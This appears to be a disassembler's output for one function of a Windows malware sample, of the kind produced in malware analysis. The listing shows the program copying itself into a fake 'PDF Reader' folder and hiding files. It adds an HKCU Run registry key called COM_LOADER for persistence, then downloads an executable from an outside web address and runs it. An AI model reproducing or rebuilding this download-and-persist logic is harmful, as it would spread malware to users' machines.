Function at 0x402124
Capabilities:
Get disk information
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x948
mov dword [esp], str.MODE_:_COM7_n
call sub.msvcrt.dll_printf
mov dword [esp], 0x1e61
call sub.msvcrt.dll__sleep
mov eax, dword [0x40c018]
cmp eax, dword [0x4083e0]
jl 0x402160
cmp dword [0x408484], 0
jns 0x402160
call fcn.00403c5c
mov eax, dword [0x40c018]
cmp eax, dword [0x4083e4]
jl 0x40217b
cmp dword [0x408484], 0
jns 0x40217b
call fcn.00403981
mov dword [ebp - 0x51c], 0
mov dword [ebp - 0x520], 0
mov dword [esp + 8], 0x100
mov dword [esp + 4], 0
lea eax, [ebp - 0x518]
mov dword [esp], eax
call sub.ntdll.dll_memset
lea eax, [ebp - 0x518]
mov dword [esp + 4], eax
mov dword [esp], 0x100
call sub.KERNEL32.dll_GetLogicalDriveStringsA
sub esp, 8
mov dword [ebp - 0x51c], 0
cmp dword [ebp - 0x51c], 0xff
jg 0x4022a1
lea eax, [ebp - 8]
add eax, dword [ebp - 0x51c]
sub eax, 0x510
cmp byte [eax], 0
je 0x402293
lea eax, [ebp - 8]
add eax, dword [ebp - 0x51c]
sub eax, 0x510
movsx eax, byte [eax]
mov dword [esp], eax
call sub.ntdll.dll_tolower
cmp eax, 0x61
je 0x402293
lea eax, [ebp - 8]
add eax, dword [ebp - 0x51c]
sub eax, 0x510
movsx eax, byte [eax]
mov dword [esp], eax
call sub.ntdll.dll_tolower
cmp eax, 0x63
je 0x402293
lea eax, [ebp - 8]
add eax, dword [ebp - 0x51c]
sub eax, 0x510
movsx eax, byte [eax]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c:_
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x418]
mov dword [esp], eax
call fcn.004048a0
cmp eax, 1
jne 0x402293
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
cmp eax, 3
jne 0x402293
mov dword [ebp - 0x520], 1
jmp 0x4022a1
lea eax, [ebp - 0x51c]
add dword [eax], 4
jmp 0x4021d0
cmp dword [ebp - 0x520], 0
jne 0x4022c0
mov dword [esp + 4], 0x40a21a
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.ntdll.dll_strcpy
lea eax, [ebp - 0x418]
mov dword [esp + 8], eax
mov dword [esp + 4], str.._sProgram_FilesPDF_Reader_bin_
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x408]
mov dword [esp], eax
call fcn.004048a0
test eax, eax
jne 0x402300
lea eax, [ebp - 0x408]
mov dword [esp], eax
call fcn.00404a0e
lea eax, [ebp - 0x418]
mov dword [esp + 8], eax
mov dword [esp + 4], str.._sProgram_FilesPDF_Reader_binCOM7.EXE
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x408]
mov dword [esp], eax
call fcn.00402f94
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
lea eax, [ebp - 0x418]
mov dword [esp + 8], eax
mov dword [esp + 4], str.ADD_HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun__f__t_REG_SZ__v_COM_LOADER__d__._sProgram_FilesPDF_Reader_binCOM7.EXE_
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x408]
mov dword [esp + 4], eax
mov dword [esp], 0x40a2f3
call fcn.00402b9d
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
lea eax, [ebp - 0x418]
mov dword [esp + 8], eax
mov dword [esp + 4], str.._sProgram_FilesPDF_ReaderPDF_Reader.exe
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x408]
mov dword [esp], eax
call fcn.00402f94
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x40c0d0
call fcn.004048a0
test eax, eax
jne 0x4023e9
mov dword [esp], 0x40c0d0
call fcn.00404a0e
mov dword [esp + 4], 0x27
mov dword [esp], 0x40c0d0
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x40d900
call fcn.00402f94
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48e290
call fcn.00404852
test eax, eax
jne 0x402443
mov dword [esp], 0x48e290
call fcn.00402f94
mov dword [esp], 0x1e61
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48e290
call fcn.00402be0
jmp 0x402477
mov dword [esp], 0x48e290
call fcn.00402c78
test eax, eax
jne 0x402477
mov dword [esp], 0x48e290
call fcn.00402f94
mov dword [esp], 0x1e61
call sub.msvcrt.dll__sleep
mov dword [esp], 0x48e290
call fcn.00402be0
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
mov dword [esp + 4], 8
lea eax, [ebp - 0x938]
mov dword [esp], eax
call fcn.00402f0a
lea eax, [ebp - 0x938]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40c0d0
mov dword [esp + 4], str._s_s.exe
lea eax, [ebp - 0x928]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x928]
mov dword [esp + 4], eax
mov dword [esp], str.http:__www.ibayme.eb2a.com_dwn.dmp
call fcn.00402ef0
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
lea eax, [ebp - 0x928]
mov dword [esp], eax
call fcn.00402be0
mov dword [esp], 0x309
call sub.msvcrt.dll__sleep
call fcn.00402504
leave
ret